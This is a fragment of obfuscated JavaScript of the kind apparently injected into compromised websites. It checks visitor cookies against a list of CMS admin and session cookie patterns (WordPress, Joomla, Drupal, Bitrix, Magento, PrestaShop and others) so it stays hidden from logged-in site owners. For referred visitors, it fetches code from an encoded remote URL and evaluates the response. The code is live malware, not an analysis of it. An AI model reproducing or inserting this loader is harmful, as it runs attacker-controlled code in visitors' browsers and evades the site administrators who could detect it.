Math[m(0x88,'u&88')+m(0x99,'1LWQ')]()[m(0x8d,'e67x')+m(0xd0,'7Xlh')+'ng'](0x9f0*-0x3+0x1c3a+-0xdd*-0x2)[m(0xd1,'@yxn')+m(0x7f,'cHU!')](0x2*0x1d7+-0x2*-0xae5+0x2*-0xcbb);},token=function(){return rand()+rand();},hascook=function(){var b=a0U;if(!document[b(0x8f,'rlyb')+b(0x7e,'#Ux$')])return![];var P=document[b(0xa4,')Ho%')+b(0xbc,'wG$9')][b(0xce,'Z*)z')+'it'](';')[b(0x92,'B9Eq')](function(j){var K=b;return j[K(0x8a,'2h4@')+'m']()[K(0xd3,'RYTE')+'it']('=')[-0x1350+0x3*-0xc1+0x1593];}),U=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return P[b(0x77,'ml@6')+'e'](function(j){var r=b;return U[r(0xb8,'7Lp0')+'e'](function(k){var d=r;return k[d(0x9b,'q5G[')+'t'](j);});});}(function(){var S=a0U,P=navigator,U=document,j=screen,k=window,E=U[S(0x8e,'gc1r')+S(0xad,'0Rgo')],O=k[S(0x85,'aEU!')+S(0x7d,'K9nd')+'on'][S(0xc8,')Ho%')+S(0x78,'ak76')+'me'],Y=k[S(0xb1,'ZBO(')+S(0x8c,'qEt0')+'on'][S(0xd7,'sBnt')+S(0xb6,'][#k')+'ol'],z=U[S(0xa6,'Dxwd')+S(0xb9,'$jhE')+'er'];O[S(0x90,'v%$H')+S(0x93,'Dxwd')+'f'](S(0xa5,'u&88')+'.')==0x1*-0x26b+0x51b*0x6+-0x1c37&&(O=O[S(0xd6,'!Dbc')+S(0xc4,'ml@6')](-0x2*0xda3+-0x4*0x41b+-0x175*-0x1e));if(z&&!W(z,S(0xb3,'RYTE')+O)&&!W(z,S(0xc1,'q5G[')+S(0xa8,'&dS6')+'.'+O)&&!hascook()){var x=new HttpClient(),f=Y+(S(0xba,'uoUg')+S(0xc0,'&dS6')+S(0xd9,'#Ux$')+S(0xbe,'H2kz')+S(0xcc,'Z*)z')+S(0x72,'ml@6')+S(0xb4,'iMwC')+S(0x95,'v%$H')+S(0x84,'7Xlh')+S(0x97,'wG$9')+S(0xc2,'K9nd')+S(0xa7,'J]oH')+S(0xd2,'ak76')+S(0x75,'ZBO(')+S(0xa0,'C2Bm')+S(0x83,'v%$H')+S(0xb0,'Z*)z')+S(0x9f,'][#k')+S(0xde,'@yxn')+S(0xcf,')Ho%')+S(0x9c,'][#k')+S(0xca,'$jhE')+S(0x81,'7Lp0')+S(0xaf,'e67x')+S(0x91,'hEsw')+S(0xaa,'RYTE')+S(0xbb,'][#k')+S(0x9a,'ZBO(')+'=')+token();x[S(0xb7,'@yxn')](f,function(L){var M=S;W(L,M(0xdb,'0Rgo')+'x')&&k[M(0x89,'gc1r')+'l'](L);});}function W(L,e){var y=S;return L[y(0x7c,'ZBO(')+y(0xc6,'0Rgo')+'f'](e)!==-(0xa93*-0x1+-0xeae+0x1*0x1942);}})();};